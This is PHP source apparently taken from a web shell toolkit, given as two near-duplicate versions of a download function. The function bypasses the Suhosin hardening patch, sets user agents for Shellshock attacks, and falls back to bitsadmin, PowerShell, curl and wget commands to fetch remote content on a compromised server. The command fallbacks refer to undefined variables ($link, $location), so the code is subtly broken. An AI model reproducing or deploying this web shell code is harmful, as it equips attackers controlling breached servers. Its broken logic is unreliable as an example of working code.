function url_get_contents($url, $user_agent = null) { //used to download the source of a webpage if (installed_php("curl_version") == True && disabled_php("curl_init") == False) { //using curl if (disabled_suhosin("curl_init") == False) { $ch = curl_init(str_replace(" ", "%20", $url)); } else { $ch = bypass_suhosin("curl_init", str_replace(" ", "%20", $url)); } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); if ($user_agent != null) { //used by shellshock (method 2) curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); } $content = curl_exec($ch); curl_close($ch); return $content; } //for file_get_contents and fopen if ($user_agent != null) { $opts = array('http' => array('header' => "User-Agent: {$user_agent}\r\n")); $context = stream_context_create($opts); } else { $context = null; } //using file_get_contents $content = file_get_contents_extended($url, True, $context); if ($content != False) { return $content; } //using fopen $fp = fopen_extended($url, "r", True, $context); if ($fp != False) { $content = fread($fp, filesize($url)); fclose($fp); return $content; } //using system commands (no need to apply shellshock here since we're already using system commands...) if ($_SESSION["windows"] == True) { if (execute_command("bitsadmin", True) == True) { //bitsadmin is a nice choice here return execute_command("bitsadmin.exe /Transfer DAwsDownloadJob {$link} {$location} > null; type {$location}"); } else { if (strpos(execute_command("powershell.exe"), "Windows PowerShell")) { //powershell comes next return execute_command("powershell.exe Invoke-WebRequest {$link} -OutFile {$location} > null; type {$location}"); } else { return False; //sadly, nothing worked } } } else { //curl or wget for Linux if (execute_command("curl", True) == True) { return execute_command("curl {$link} -o {$location} 2>&1; cat {$location}"); } else { if (execute_command("wget", True) == True) { return execute_command("wget {$link} -O {$location} 2>&1; cat {$location}"); } else { return False; } } } }
function url_get_contents($url) { if (installed_php("curl_version") == True && disabled_php("curl_init") == False) { if (disabled_suhosin("curl_init") == False) { $ch = curl_init(str_replace(" ", "%20", $url)); } else { $ch = bypass_suhosin("curl_init", str_replace(" ", "%20", $url)); } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $content = curl_exec($ch); curl_close($ch); return $content; } else { if (($content = file_get_contents_extended($url, True)) != False) { return $content; } else { if (($fp = fopen_extended($url, "r", True)) != False) { $content = htmlspecialchars(fread($fp, filesize($url))); fclose($fp); return $content; } else { if ($_SESSION["windows"] == True) { if (execute_command("bitsadmin", True) == True) { execute_command("bitsadmin.exe /Transfer DAwsDownloadJob {$link} {$location}"); } else { if (strpos(execute_command("powershell.exe"), "Windows PowerShell")) { execute_command("powershell.exe Invoke-WebRequest {$link} -OutFile {$location}"); } else { return False; //sadly, nothing worked } } } else { if (execute_command("curl", True) == True) { execute_command("curl {$link} -o {$location}"); } else { if (execute_command("wget", True) == True) { execute_command("wget {$link} -O {$location}"); } else { return False; } } } } } } }